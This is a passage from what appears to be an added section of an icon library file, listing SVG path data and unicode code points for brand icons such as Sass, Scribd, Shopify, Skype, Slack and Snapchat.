3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z" ], + sass: [ 640, 512, [], "f41e", "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z" ], + schlix: [ 448, 512, [], "f3ea", "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z" ], + scribd: [ 384, 512, [], "f28a", "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z" ], + searchengin: [ 460, 512, [], "f3eb", "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z" ], + sellcast: [ 448, 512, [], "f2da", "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z" ], + sellsy: [ 640, 512, [], "f213", "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z" ], + servicestack: [ 496, 512, [], "f3ec", "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z" ], + shirtsinbulk: [ 448, 512, [], "f214", "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z" ], + shopify: [ 448, 512, [], "e057", "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z" ], + shopware: [ 512, 512, [], "f5b5", "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z" ], + simplybuilt: [ 512, 512, [], "f215", "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z" ], + sistrix: [ 448, 512, [], "f3ee", "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z" ], + sith: [ 448, 512, [], "f512", "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z" ], + sketch: [ 512, 512, [], "f7c6", "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z" ], + skyatlas: [ 640, 512, [], "f216", "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z" ], + skype: [ 448, 512, [], "f17e", "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z" ], + slack: [ 448, 512, [], "f198", "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z" ], + "slack-hash": [ 448, 512, [], "f3ef", "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z" ], + slideshare: [ 512, 512, [], "f1e7", "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z" ], + snapchat: [ 496, 512, [], "f2ab", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" ], + "snapchat-ghost": [ 512, 512, [], "f2ac", "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 